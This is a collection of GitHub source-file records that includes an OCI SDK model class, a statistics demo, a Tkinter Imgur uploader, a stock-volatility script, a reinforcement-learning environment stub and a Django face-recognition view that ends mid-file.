}\n\n self.attribute_map = {\n 'type': 'type',\n 'is_default': 'isDefault',\n 'name': 'name'\n }\n\n self._type = None\n self._is_default = None\n self._name = None\n\n @staticmethod\n def get_subtype(object_dictionary):\n \"\"\"\n Given the hash representation of a subtype of this class,\n use the info in the hash to return the class of the subtype.\n \"\"\"\n type = object_dictionary['type']\n\n if type == 'WILDCARD':\n return 'WildcardSelectionKey'\n\n if type == 'ANY_OF':\n return 'AnyOfSelectionKey'\n else:\n return 'DynamicSelectionKey'\n\n @property\n def type(self):\n \"\"\"\n Gets the type of this DynamicSelectionKey.\n Type of the selection key.\n\n Allowed values for this property are: \"ANY_OF\", \"WILDCARD\", 'UNKNOWN_ENUM_VALUE'.\n Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.\n\n\n :return: The type of this DynamicSelectionKey.\n :rtype: str\n \"\"\"\n return self._type\n\n @type.setter\n def type(self, type):\n \"\"\"\n Sets the type of this DynamicSelectionKey.\n Type of the selection key.\n\n\n :param type: The type of this DynamicSelectionKey.\n :type: str\n \"\"\"\n allowed_values = [\"ANY_OF\", \"WILDCARD\"]\n if not value_allowed_none_or_none_sentinel(type, allowed_values):\n type = 'UNKNOWN_ENUM_VALUE'\n self._type = type\n\n @property\n def is_default(self):\n \"\"\"\n Gets the is_default of this DynamicSelectionKey.\n Specifies whether to use the route or authentication server associated with this selection key as the default. The default is used if the value of a context variable in an incoming request does not match any of the other selection key values when dynamically routing and dynamically authenticating requests.\n\n\n :return: The is_default of this DynamicSelectionKey.\n :rtype: bool\n \"\"\"\n return self._is_default\n\n @is_default.setter\n def is_default(self, is_default):\n \"\"\"\n Sets the is_default of this DynamicSelectionKey.\n Specifies whether to use the route or authentication server associated with this selection key as the default. The default is used if the value of a context variable in an incoming request does not match any of the other selection key values when dynamically routing and dynamically authenticating requests.\n\n\n :param is_default: The is_default of this DynamicSelectionKey.\n :type: bool\n \"\"\"\n self._is_default = is_default\n\n @property\n def name(self):\n \"\"\"\n **[Required]** Gets the name of this DynamicSelectionKey.\n Name assigned to the branch.\n\n\n :return: The name of this DynamicSelectionKey.\n :rtype: str\n \"\"\"\n return self._name\n\n @name.setter\n def name(self, name):\n \"\"\"\n Sets the name of this DynamicSelectionKey.\n Name assigned to the branch.\n\n\n :param name: The name of this DynamicSelectionKey.\n :type: str\n \"\"\"\n self._name = name\n\n def __repr__(self):\n return formatted_flat_dict(self)\n\n def __eq__(self, other):\n if other is None:\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n return not self == other\n","repo_name":"oracle/oci-python-sdk","sub_path":"src/oci/apigateway/models/dynamic_selection_key.py","file_name":"dynamic_selection_key.py","file_ext":"py","file_size_in_byte":5480,"program_lang":"python","lang":"en","doc_type":"code","stars":345,"dataset":"github-code","pt":"52"} +{"seq_id":"30887256392","text":"# -*- coding: UTF-8 -*-\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plot\n\nxArr = [1,3,6,10,15,21]\nyArr = [7,11,17,25,35,47]\n\nplot.plot(xArr,yArr)\nplot.show()\n\n\nprint(\"样本协方差矩阵,显示的四个元素, cov(x,x),cov(x,y),cov(y,x),cov(y,y)。 \"+ str(np.cov(xArr,yArr)))\nprint(\"xArr的协方差:%.2f\"%np.cov(xArr))\nprint(\"xArr的方差:%.2f\"%np.var(xArr))\nprint(\"yArr的方差:%.2f\"%np.var(yArr))\n\nEx = np.mean(xArr)\nprint(\"xArr的期望:%.2f\"%Ex)\nEy = np.mean(yArr)\nprint(\"yArr的期望:%.2f\"%Ey)\nSumExx = 0\nfor x in (xArr-Ex):\n SumExx+=x*x\nVarx =SumExx/len(xArr)\nprint(\"xArr的方差:%.2f\"%Varx)\n\nprint(\"xArr的sigma标准差:%.2f\"%np.std(xArr))\nprint(\"yArr的sigma标准差:%.2f\"%np.std(yArr))\n\nsumEx_Ey =0\nfor i in range(len(xArr)):\n sumEx_Ey+=(xArr[i]-Ex)*(yArr[i]-Ey)\n#以下两个函数都是协方差\ncov_xy_sample =sumEx_Ey*1/ (len(xArr)-1) #样本协方差\ncov_xy=sumEx_Ey*1/ len(xArr) #当n很大时,协方差=样本的协方差\nprint(\"cov(x,y)协方差:%.2f\"%cov_xy)\nprint(\"cov(x,y)样本的协方差:%.2f 该值应该和np.cov算出来的值一样 %s\"%(cov_xy_sample, abs(cov_xy_sample-np.cov(xArr,yArr)[0,1])<=0.0001))\n\nrho = np.cov(xArr,yArr)[0,1] / (np.std(xArr)*np.std(yArr))\nprint(\"x和y相关系数corr(x,y):%f\"%(rho))\n#一般用下面这个来计算相关性,rho绝对值时小于等于1的,等于1表示存在y=ax+b的关系。\n#皮尔逊相关系数,表示的线性关系,如果为0不代表没有非线性关系。所以独立一定不相关,但是不相关不一定独立。\nrho= cov_xy / (np.std(xArr)*np.std(yArr))\nprint(\"x和y的皮尔逊相关系数,corr(x,y):%f\"%(rho))\n","repo_name":"ggwhsd/PythonPractice","sub_path":"mathStudy/statistic.py","file_name":"statistic.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37713225544","text":"# apt-get install python3-tk\n# used for windowing\nimport tkinter as tk\n#from tkinter import ttk # also import the themed tkinter for good looking widgets (not obligatory)\nimport sys\n\nfrom tkinter.font import Font\n#from tkinter.scrolledtext import ScrolledText\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkinter.filedialog import askopenfilename, askdirectory\n\n# pip3 install imgurpython (NO! out-of-date, roken code)\n# git clone https://github.com/ueg1990/imgurpython.git\n# used for imgur access\nimport imgurpython\n\n# does not need any installation \n# necessary to expand path for config file\nimport os.path\n\n# does not need any installation \nimport configparser\n\n# does not need any installation \n# used to get authorization from imgur web site\nimport webbrowser\n \n# does not need any installation \n# used to get current date and time\nimport datetime \n# does not need any installation \n# used to get authorization from imgur web site\nimport webbrowser\n\nclass ImgurClientEnhanced(imgurpython.ImgurClient):\n \n allowed_album_fields = {\n 'ids', 'title', 'description', 'privacy', 'layout', 'cover', 'order'\n }\n \n def __init__(self, client_id, client_secret, access_token=None, refresh_token=None, mashape_key=None):\n super(ImgurClientEnhanced, self).__init__(client_id, client_secret, access_token, refresh_token, mashape_key)\n \n def update_image(self, image_id, fields):\n '''\n Note: Can only update title or description of image\n '''\n post_data = {field: fields[field] for field in set({'title', 'description'}).intersection(fields.keys())}\n return self.make_request('POST', 'image/%s' % image_id, data=post_data)\n \nclass MainWindow:\n\n def __init__(self, parent):\n \n font_default = Font(family = \"default\", size = \"10\")\n font_status = Font(family = \"default\", size = \"10\", slant = 'italic')\n font_contents = font_default\n \n parent.protocol(\"WM_DELETE_WINDOW\", self.on_closing)\n\n self.images = {}\n self.albums = {}\n\n self.parent = parent\n self.parent.title(os.path.basename(__file__))\n \n self.string_status = tk.StringVar()\n \n if self.read_config():\n if self.create_client():\n self.authorize()\n \n self.parent.geometry(self.config.get('gui', 'geometry', fallback = '526x300+275+191'))\n\n self.frame_id = tk.Frame(parent)\n self.frame_id.pack(anchor = tk.W)\n\n #self.frame_buttons = tk.Frame(parent)\n #self.frame_buttons.pack(anchor = tk.W)\n\n #self.button_readconfig = tk.Button(self.frame_buttons, text = \"Do work\", command = self.do_work)\n #self.button_readconfig.pack(side = tk.LEFT, padx = 5, pady = 2)\n\n # this should come before the contents, so that it does not shrink first when resizing windows\n # put this into the pack manager before the contents so it does not resize until the contents have\n self.label_status = tk.Label(parent, textvariable = self.string_status, font = font_status, bd = 1, relief = tk.SUNKEN, justify = tk.LEFT, anchor = tk.W)\n self.label_status.pack(side = tk.BOTTOM, fill = tk.BOTH) \n\n # contents\n columnnames = ['id', 'type']\n displaycolumnnames = []\n\n self.treeview = ttk.Treeview(parent, selectmode = 'browse', columns = columnnames, displaycolumns = displaycolumnnames) # , height = 10, show = 'headings'\n #self.treeview.bind('', self.treeview_doubleclick)\n self.treeview.bind('', self.treeview_rightclick)\n #self.treeview.bind('', self.treeview_click)\n self.treeview.bind('<>', self.populate_album)\n for columnname in columnnames:\n self.treeview.heading(columnname, text = columnname)\n self.treeview.column(columnname, stretch = True)\n self.treeview.pack(anchor = tk.W, fill = tk.BOTH, expand = True)\n \n # immediately populate tree\n self.populate_albums()\n\n # create an album context menu\n self.menu_album_context = tk.Menu(parent, tearoff = 0)\n self.menu_album_context.add_command(label=\"Get Info\", command = self.get_album_info)\n self.menu_album_context.add_command(label=\"View\", command = self.view_album)\n self.menu_album_context.add_command(label=\"Edit\", command = self.edit_album)\n self.menu_album_context.add_command(label=\"Delete\", command = self.delete_album)\n self.menu_album_context.add_command(label=\"Upload Image\", command = self.upload_image)\n self.menu_album_context.add_separator()\n self.menu_album_context.add_command(label=\"Upload Album\", command = self.upload_album)\n self.menu_album_context.bind(\"\", lambda event: self.menu_album_context.unpost()) # keyboard focus\n self.menu_album_context.bind(\"\", lambda event: self.menu_album_context.unpost()) # mouse focus\n\n # create an image context menu\n self.menu_image_context = tk.Menu(parent, tearoff = 0)\n self.menu_image_context.add_command(label=\"Get Info\", command = self.get_image_info)\n self.menu_image_context.add_command(label=\"View\", command = self.view_image)\n self.menu_image_context.add_command(label=\"Edit\", command = self.edit_image)\n self.menu_image_context.add_command(label=\"Delete\", command = self.delete_image)\n self.menu_image_context.bind(\"\", lambda event: self.menu_image_context.unpost()) # keyboard focus\n self.menu_image_context.bind(\"\", lambda event: self.menu_image_context.unpost()) # mouse focus\n\n def on_closing(self):\n if not 'gui' in self.config.sections():\n self.config.add_section('gui')\n self.config['gui']['geometry'] = self.parent.geometry()\n self.write_config()\n self.parent.destroy()\n\n def treeview_click(self, event):\n #print(\"geometry!\")\n #print(self.parent.geometry())\n bob = 'you uncle'\n\n def treeview_doubleclick(self, event):\n item = self.treeview.selection()[0]\n #print(\"you double-clicked \", self.treeview.item(item, \"values\"))\n iid = self.treeview.identify_row(event.y)\n if iid:\n # mouse pointer over item\n self.treeview.selection_set(iid)\n item = self.treeview.selection()[0]\n print(\"{0} {1} you double-clicked {2}\".format(event.x, event.y, self.treeview.item(item, \"values\")))\n else:\n # clear selection\n #self.treeview.selection_clear()\n if len(self.treeview.selection()) > 0:\n self.treeview.selection_remove(self.treeview.selection()[0])\n \n def treeview_rightclick(self, event):\n # select row under mouse\n iid = self.treeview.identify_row(event.y)\n if iid:\n # mouse pointer over item\n self.treeview.selection_set(iid)\n type = self.treeview_item()['type']\n if type == 'album':\n self.menu_album_context.post(event.x_root - 5, event.y_root - 5)\n if type == 'image':\n self.menu_image_context.post(event.x_root - 5, event.y_root - 5)\n else:\n # clear selection\n #self.treeview.selection_clear()\n if len(self.treeview.selection()) > 0:\n self.treeview.selection_remove(self.treeview.selection()[0])\n self.menu_other_context.post(event.x_root - 5, event.y_root - 5)\n\n def get_album_info(self):\n tk.messagebox.showinfo(\"album info\", vars(self.albums[self.treeview_item()['id']]))\n\n def get_image_info(self):\n tk.messagebox.showinfo(\"image info\", vars(self.images[self.treeview_item()['id']]))\n\n def treeview_node(self):\n return self.treeview.selection()[0] # iid\n\n def treeview_item(self):\n iid = self.treeview.selection()[0]\n return self.treeview.set(iid)\n\n def treeview_delete(self):\n iid = self.treeview.selection()[0]\n self.treeview.delete(iid)\n\n def view_album(self):\n self.open_url(self.client.get_album(self.treeview_item()['id']).link)\n\n def view_image(self):\n self.open_url(self.client.get_image(self.treeview_item()['id']).link)\n\n def edit_album(self):\n AlbumEditor(self.parent, self.albums[self.treeview_item()['id']], self.client, self.config)\n\n def edit_image(self):\n ImageEditor(self.parent, self.images[self.treeview_item()['id']], self.client)\n\n def upload_album(self):\n defaultdirectory = self.config.get('gui', 'lastopendir', fallback = '.')\n directory = askdirectory(initialdir = defaultdirectory)\n if directory:\n prefixdirectory, basedirectory = os.path.split(directory)\n\n if not 'gui' in self.config.sections():\n self.config.add_section('gui')\n self.config['gui']['lastopendir'] = directory\n \n # give warning if album may already exist\n \n newalbum = self.create_album(directory)\n \n filenames = os.listdir(directory)\n for filename in filenames:\n baseprefix, baseext = os.path.splitext(filename)\n if baseext in ('.jpg', '.png'):\n self.set_status('Uploading ' + filename)\n newimage = self.upload_image_to_album(newalbum.id, directory + '/' + filename) \n self.set_status('Done uploading ' + filename)\n\n def upload_image(self):\n id = self.treeview_item()['id']\n directory = self.config.get('gui', 'lastopendir', fallback = '.')\n filename = askopenfilename(initialdir = directory) # show an \"Open\" dialog box and return the path to the selected file\n if filename:\n directory, basename = os.path.split(filename)\n baseprefix, baseext = os.path.splitext(basename)\n\n if not 'gui' in self.config.sections():\n self.config.add_section('gui')\n self.config['gui']['lastopendir'] = directory\n\n newimage = self.upload_image_to_album(id, filename)\n \n # add to internal collection\n self.images[newimage.id] = newimage\n # add to treeview\n image_name = newimage.name if newimage.name else 'Unnamed'\n self.treeview.insert(self.treeview_node(), tk.END, text = image_name, values = [newimage.id, 'image'])\n return True\n\n def upload_image_to_album(self, album_id, filepath):\n\n directory, basename = os.path.split(filepath)\n baseprefix, baseext = os.path.splitext(basename)\n\n imageconfig = { \"album\": album_id, \"name\": basename, \"title\": baseprefix, \"description\": baseprefix }\n try:\n self.parent.config(cursor = 'watch')\n self.parent.update()\n newimage = imgurpython.imgur.models.image.Image(self.client.upload_from_path(path = filepath, config = imageconfig, anon = False))\n except ImgurClientError as e:\n self.set_status('Failed to upload image.')\n print(sys.exc_info(), file = sys.stderr)\n raise\n finally:\n self.parent.config(cursor = '')\n\n return newimage\n\n def create_album(self, directory):\n\n prefixdirectory, basedirectory = os.path.split(directory)\n\n albumfields = { \"title\": basedirectory, \"description\": basedirectory }\n try:\n self.parent.config(cursor = 'watch')\n self.parent.update()\n newalbum = imgurpython.imgur.models.album.Album(self.client.create_album(fields = albumfields))\n except ImgurClientError as e:\n self.set_status('Failed to upload image.')\n print(sys.exc_info(), file = sys.stderr)\n raise\n finally:\n self.parent.config(cursor = '')\n\n return newalbum\n\n def delete_image(self):\n id = self.treeview_item()['id']\n if messagebox.askyesno('Deleting image ' + id, 'Are you sure?'):\n try:\n self.parent.config(cursor = 'watch')\n self.parent.update()\n self.client.delete_image(id)\n except imgurpython.ImgurClientError as e:\n self.set_status('Failed to delete image.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n finally:\n self.parent.config(cursor = '')\n\n # remove from internal collection\n self.images.pop(id, None)\n # remove from treeview\n self.treeview_delete()\n return True\n\n def delete_album(self):\n id = self.treeview_item()['id']\n if messagebox.askyesno('Deleting album ' + id, 'Are you sure?'):\n try:\n self.parent.config(cursor = 'watch')\n self.parent.update()\n self.client.album_delete(id)\n except imgurpython.ImgurClientError as e:\n self.set_status('Failed to delete album.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n finally:\n self.parent.config(cursor = '')\n\n # remove from internal collection\n self.albums.pop(id, None)\n # remove from treeview\n self.treeview_delete()\n return True\n\n def open_url(self, url):\n webbrowser.open(url, new = 0, autoraise = True)\n\n def set_status(self, message):\n print(message)\n self.string_status.set(message)\n \n def lock_minimum_size(self):\n self.parent.update() # make sure all the info from previous widget placements has been recalculated\n self.parent.minsize(self.parent.winfo_width(), self.parent.winfo_height())\n\n def create_client(self):\n try:\n self.parent.config(cursor = 'watch')\n self.parent.update()\n self.client = ImgurClientEnhanced(self.config['client']['id'], self.config['client']['secret'])\n return True\n except ImgurClientError as e:\n print(e)\n self.set_status('ImgurClientError.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n except:\n self.set_status('Failed to create client using saved credentials. Run register program.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n finally:\n self.parent.config(cursor = '')\n\n\n def authorize(self):\n try:\n self.parent.config(cursor = 'watch')\n self.parent.update()\n self.client.set_user_auth(self.config['credentials']['access_token'], self.config['credentials']['refresh_token'])\n return True\n except:\n self.set_status('Failed to authorize using saved credentials. Run authorize program.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n finally:\n self.parent.config(cursor = '')\n\n def write_config(self):\n try:\n # write the configuration back to the file it came from\n with open(self.configfilename, 'w') as configfile: # save\n self.config.write(configfile)\n self.set_status('Successfully wrote config file.')\n return True\n\n except:\n self.set_status('Failed to write config file.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n\n def populate_albums(self):\n tempalbums = sorted(self.client.get_account_albums('me'), key = lambda album: album.order)\n for album in tempalbums:\n self.albums[album.id] = album\n album_title = album.title if album.title else 'Untitled'\n rowid = self.treeview.insert('', tk.END, text = album_title, values = [album.id, 'album'])\n self.treeview.insert(rowid, tk.END, text = 'dummy', values = ['', 'dummy']) # makes the item \"openable\"\n \n def populate_album(self, event):\n try:\n \n self.parent.config(cursor = 'watch')\n self.parent.update()\n\n selectednode = self.treeview.focus()\n if self.treeview.set(selectednode, 'type') == 'album':\n for child in self.treeview.get_children(selectednode):\n if self.treeview.set(child, 'type') == 'dummy':\n self.treeview.delete(*self.treeview.get_children(selectednode))\n for image in self.client.get_album_images(self.treeview.set(selectednode, 'id')):\n self.images[image.id] = image\n image_name = image.name if image.name else 'Unnamed'\n self.treeview.insert(selectednode, tk.END, text = image_name, values = [image.id, 'image'])\n finally:\n self.parent.config(cursor = '')\n\n def read_config(self):\n try:\n self.config = configparser.ConfigParser() # don't know what to do if this fails.\n configfiles = self.config.read(['.imgursyncconfig', os.path.expanduser('~/.imgursyncconfig')])\n # Save the name of the first file that was successfully read\n if len(configfiles) > 0:\n self.configfilename = configfiles[0]\n else:\n self.configfilename = '.imgursyncconfig'\n self.set_status('Successfully read config file. File is ' + self.configfilename)\n return True\n\n except:\n self.set_status('Failed to read config file.')\n print(sys.exc_info(), file = sys.stderr)\n return False\n \nclass AlbumEditor:\n def __init__(self, parent, album, client, config):\n\n self.album = album\n self.client = client\n self.config = config\n\n self.parent = tk.Toplevel(parent)\n self.parent.title(\"album \" + album.id)\n \n self.parent.geometry(self.config.get('gui', 'geometry.album', fallback = '526x150+604+529'))\n\n # configure the \"data\" column to be the one that stretches.\n self.parent.columnconfigure(1, weight = 1)\n \n # 'layout' is deprecated and can be changed, but has no effec on the site, so we don;t bother to change it.\n self.editfields = ['title', 'description', 'privacy', 'cover', 'order']\n self.editvalues = {}\n for editfield in self.editfields:\n editvalue = tk.StringVar() \n editvalue.set(str(getattr(album, editfield))) \n self.editvalues[editfield] = editvalue\n \n row = 0\n for editfield in self.editfields:\n row = row + 1\n label = tk.Label(self.parent, text = editfield)\n label.grid(sticky = tk.W, row = row, column = 0)\n entry = tk.Entry(self.parent, textvariable = self.editvalues[editfield])\n entry.grid(sticky = (tk.W + tk.E), row = row, column = 1) \n\n row = row + 1\n\n self.frame_buttons = tk.Frame(self.parent, bd = 2)\n self.button_apply = tk.Button(self.frame_buttons, text = 'Apply', command = self.apply)\n self.button_apply.pack(side = tk.LEFT)\n self.button_done = tk.Button(self.frame_buttons, text = 'Done', command = self.done)\n self.button_done.pack(side = tk.LEFT)\n\n self.frame_buttons.grid(sticky = tk.W, row = row, column = 0, columnspan = 2)\n \n def done(self):\n if not 'gui' in self.config.sections():\n self.config.add_section('gui')\n self.config['gui']['geometry.album'] = self.parent.geometry()\n\n self.parent.destroy()\n\n def apply(self):\n # write the changed fields back to the album object, and write to imgur, too\n fieldstoupdate = { 'ids': None }\n for editfield in self.editfields:\n newvalue = self.editvalues[editfield].get()\n fieldstoupdate[editfield] = newvalue\n setattr(self.album, editfield, newvalue)\n\n # Bug in update_album function requires that ids be set. If not a list, then it is not considered.\n self.client.update_album(album_id = self.album.id, fields = fieldstoupdate)\n \n # try re-reading now, debug code\n temp = self.client.get_album(self.album.id)\n print(temp)\n print(vars(temp))\n\nclass ImageEditor:\n def __init__(self, parent, image, client):\n\n self.image = image\n self.client = client\n self.parent = tk.Toplevel(parent)\n self.parent.title(\"image \" + image.id)\n \n # configure the \"data\" column to be the one that stretches.\n self.parent.columnconfigure(1, weight = 1)\n \n self.editfields = ['title', 'description']\n self.editvalues = {}\n for editfield in self.editfields:\n editvalue = tk.StringVar() \n editvalue.set(str(getattr(image, editfield))) \n self.editvalues[editfield] = editvalue\n \n row = 0\n for editfield in self.editfields:\n row = row + 1\n label = tk.Label(self.parent, text = editfield)\n label.grid(sticky = tk.W, row = row, column = 0)\n entry = tk.Entry(self.parent, textvariable = self.editvalues[editfield])\n entry.grid(sticky = (tk.W + tk.E), row = row, column = 1) \n \n row = row + 1\n\n self.frame_buttons = tk.Frame(self.parent, bd = 2)\n self.button_apply = tk.Button(self.frame_buttons, text = 'Apply', command = self.apply)\n self.button_apply.pack(side = tk.LEFT)\n self.button_done = tk.Button(self.frame_buttons, text = 'Done', command = self.done)\n self.button_done.pack(side = tk.LEFT)\n\n self.frame_buttons.grid(sticky = tk.W, row = row, column = 0, columnspan = 2)\n\n def done(self):\n self.parent.destroy()\n \n def apply(self):\n # write the changed fields back to the image object, and write to imgur, too\n fieldstoupdate = {}\n for editfield in self.editfields:\n newvalue = self.editvalues[editfield].get()\n fieldstoupdate[editfield] = newvalue\n setattr(self.image, editfield, newvalue)\n\n self.client.update_image(image_id = self.image.id, fields = fieldstoupdate )\n\nif __name__ == '__main__':\n root = tk.Tk()\n my_gui = MainWindow(root)\n root.mainloop()\n","repo_name":"ccady/imgursync","sub_path":"imgursync_test.py","file_name":"imgursync_test.py","file_ext":"py","file_size_in_byte":22415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74699947045","text":"import yfinance as yf\nimport pandas as pd\nimport numpy as np\nfrom stocks_sample import stock_symbols_sample\n\ndef categorize_stocks_by_volatility(stock_symbols):\n # Define the time range\n start_date = \"2020-01-01\"\n end_date = \"2021-12-31\"\n\n risk_levels = [\"Low\", \"Medium\", \"High\"]\n risk_thresholds = [0.4, 0.5] # Adjust these thresholds as per your preference\n\n categorized_stocks = {}\n\n for symbol in stock_symbols:\n # Retrieve the historical stock data\n stock_data = yf.download(symbol, start=start_date, end=end_date, progress=False)\n\n # Calculate the stock's volatility\n stock_data['Log Returns'] = np.log(stock_data['Close'] / stock_data['Close'].shift(1))\n stock_volatility = stock_data['Log Returns'].std() * np.sqrt(252) # Assuming 252 trading days in a year\n\n # Categorize the stock based on volatility\n if stock_volatility <= risk_thresholds[0]:\n risk_level = risk_levels[0]\n elif stock_volatility <= risk_thresholds[1]:\n risk_level = risk_levels[1]\n else:\n risk_level = risk_levels[2]\n\n categorized_stocks[symbol] = risk_level\n\n # Save categorized stocks to a CSV file\n df = pd.DataFrame.from_dict(categorized_stocks, orient='index', columns=['risk_level'])\n df.index.name = 'Symbol'\n df.to_csv('categorized_stocks.csv')\n\n return categorized_stocks\n","repo_name":"sebastianmarmolejo/wealthai","sub_path":"risk_categorizer.py","file_name":"risk_categorizer.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10236083528","text":"import gym\nfrom gym import spaces\nimport numpy as np\n\nclass DRLRadiationEnv(gym.Env):\n def __init__(self):\n # load state from dicom file, radiation dose file, and angles tested vector\n self.dicom_file = \"path/to/dicom/file\"\n self.radiation_file = \"path/to/radiation/file.mat\"\n self.tested_angles = np.loadtxt(\"path/to/tested_angles.txt\")\n\n # define action and observation spaces\n self.action_space = spaces.Discrete(2) # 0: do not change angle, 1: add 2 degrees to previous angle\n self.observation_space = spaces.Box(low=0, high=255, shape=(image_height, image_width, num_channels), dtype=np.float32)\n\n # define other parameters\n self.current_angle = None # angle corresponding to current observation\n self.current_observation = None # current state of the environment\n self.episode_reward = 0.0 # cumulative reward for current episode\n\n def step(self, action):\n # apply the selected action to the current state\n if action == 1:\n self.current_angle += 2\n\n # update observation and reward based on new angle\n self.current_observation = self._get_observation()\n reward = self._get_reward()\n\n # check if episode is done (e.g. if max reward has been achieved)\n done = False\n if reward == MAX_REWARD:\n done = True\n\n # return new observation, reward, and done flag\n return self.current_observation, reward, done, {}\n\n def reset(self):\n # reset the environment to its initial state\n self.current_angle = self.tested_angles[-1] # start from last tested angle\n self.current_observation = self._get_observation()\n self.episode_reward = 0.0\n return self.current_observation\n\n def render(self, mode='human'):\n # display the current observation (e.g. as an image)\n pass\n\n def _get_observation(self):\n \n # extract relevant features from dicom data and dose file\n feature_1 = self.dicom_data.PixelSpacing[0]\n feature_2 = self.dicom_data.PixelSpacing[1]\n feature_3 = self.dose_data['dose'][0][0]\n \n # one-hot encode the tested angles vector\n tested_angles_onehot = np.zeros(num_angles)\n for angle in self.tested_angles:\n tested_angles_onehot[angle] = 1\n \n # combine all features into a single observation vector\n observation = np.concatenate((feature_1, feature_2, feature_3, tested_angles_onehot))\n \n return observation\n\n def _get_reward(self):\n # compute reward based on the radiation dose for the current angle\n # return reward as a float\n pass\n","repo_name":"giulia97-w/Tesi-DRL","sub_path":"DRL.py","file_name":"DRL.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10252140023","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse, JsonResponse\nfrom django.conf import settings\nfrom pathlib import Path\nimport cv2\nimport os\nimport shutil\nimport pandas as pd\nimport numpy as np\n\nprint(\"loading DeepFace ...\")\nfrom deepface import DeepFace\nfrom deepface.commons import functions\nprint(\"DeepFace is loaded\")\n\nfrom . import forms, models\n\n\ndef clear_cached_files(request):\n \"\"\"\n This function clears the cached images and the model entries.\n \"\"\"\n\n # delete media directory\n media_dir_path = settings.MEDIA_ROOT\n if media_dir_path.is_dir():\n shutil.rmtree(path=media_dir_path)\n\n # delete all entries in the model\n img_entries = models.UploadedImages.objects.all()\n print(f\"deleting {len(img_entries)} entries\")\n for img_entry in img_entries:\n img_entry.delete()\n\n return render(request, \"home/cleared_cached_files.html\")\n\n\nclass DeepFaceWrapper:\n \"\"\"\n This wrapper handles the DeepFace module for django.\n \"\"\"\n\n # choose another model or detector if you want to experiment:\n\n # 'VGG-Face', 'OpenFace', 'Facenet', 'Facenet512', 'DeepFace', 'DeepID', 'Dlib', 'ArcFace'\n # ('Emotion', 'Age', 'Gender', 'Race') not implemented\n model_name = 'Facenet'\n recog_model = DeepFace.build_model(model_name)\n # 'opencv', 'ssd', 'dlib', 'mtcnn', 'retinaface'\n detector = 'mtcnn'\n representations = DeepFace.load_representations(\n db_path=settings.BASE_DIR / \"database\",\n model_name=model_name,\n model=recog_model,\n detector_backend=detector,\n verbose=True\n )\n\n @classmethod\n def analyze_uploaded_img(cls):\n \"\"\"\n This method analyses the last uploaded image using DeepFace, and saves\n the analyzed image in MEDIA_ROOT/analyzed_images\n \"\"\"\n\n # get the last uploaded image from the model UploadedImages\n image_db = models.UploadedImages.objects.latest('id')\n\n # get the path of the last analyzed image\n img_path = Path(image_db.uploaded_img.path)\n\n # put the name of the image in the model\n img_name = img_path.name\n image_db.img_name = img_name\n\n # analyze the image using the DeepFace module\n df_result = DeepFace.find_faces(\n img_path=img_path,\n db_path=settings.BASE_DIR / \"database\",\n model_name=cls.model_name,\n model=cls.recog_model,\n detector_backend=cls.detector,\n representations=cls.representations,\n verbose=True\n )\n\n # drop distance and best_match_path\n df_result = df_result.drop(columns=[\"distance\", \"best_match_path\"])\n\n # add empty columns to match ClientDB\n df_result[\"date_of_birth\"] = np.nan\n df_result[\"VIP\"] = np.nan\n df_result[\"is_allowed_in\"] = np.nan\n df_result[\"comments\"] = np.nan\n df_result[\"total_entry_tickets_bought\"] = np.nan\n df_result[\"creation_date\"] = np.nan\n\n # complete df_result with data from ClientDB\n for client in models.ClientDB.objects.all():\n for index in df_result.index:\n if df_result.loc[index, \"name\"] == client.client_name:\n df_result.loc[index, \"date_of_birth\"] = client.date_of_birth\n df_result.loc[index, \"VIP\"] = client.VIP\n df_result.loc[index, \"is_allowed_in\"] = client.is_allowed_in\n df_result.loc[index, \"comments\"] = client.comments\n df_result.loc[index, \"total_entry_tickets_bought\"] = client.total_entry_tickets_bought\n df_result.loc[index, \"creation_date\"] = client.creation_date\n\n # load original image\n analyzed_img = cv2.imread(str(img_path))\n\n # resize it to standard size\n analyzed_img, ratio = functions.resize_img_to_target_size(analyzed_img)\n\n # draw boxes on the image\n for face_index in df_result.index:\n box = df_result.loc[face_index, \"box\"]\n name = df_result.loc[face_index, \"name\"]\n is_allowed_in = df_result.loc[face_index, \"is_allowed_in\"]\n if pd.isnull(name):\n # draw an orange box with the name \"Unknown\"\n analyzed_img = functions.draw_box(analyzed_img, box, ratio=ratio)\n else:\n if is_allowed_in:\n # draw a green box\n color = (0,255,0)\n else:\n # draw a red box\n color = (0,0,255)\n analyzed_img = functions.draw_box(analyzed_img, box, color=color, name=name.replace(\"_\", \" \"), ratio=ratio)\n\n # save the analyzed image in MEDIA_ROOT/analyzed_images\n # (create the directory if it doesn't exist)\n analyzed_images_dir_path = Path(settings.MEDIA_ROOT / \"analyzed_images\")\n analyzed_img_path = analyzed_images_dir_path / img_name\n if not analyzed_images_dir_path.is_dir():\n print(\"no analyzed_images directory yet in media, creating\")\n os.mkdir(path=analyzed_images_dir_path)\n cv2.imwrite(str(analyzed_img_path), analyzed_img)\n\n # drop \"box\" column and rows with null values\n df_result = df_result.drop(columns=\"box\").dropna()\n\n # save df_result as a csv file in MEDIA_ROOT/analyzed_images\n csv_name = img_path.stem + \".csv\"\n csv_path = analyzed_images_dir_path / csv_name\n df_result.to_csv(path_or_buf=str(csv_path), index=False)\n\n # save the model\n image_db.save()\n\n\ndef index(request):\n \"\"\"\n Home page. Allows the user to upload an image for analysis.\"\n \"\"\"\n\n if request.method == 'GET':\n form = forms.ImageForm()\n return render(request, 'home/index.html', {'form': form})\n\n elif request.method == 'POST':\n\n form = forms.ImageForm(request.POST, 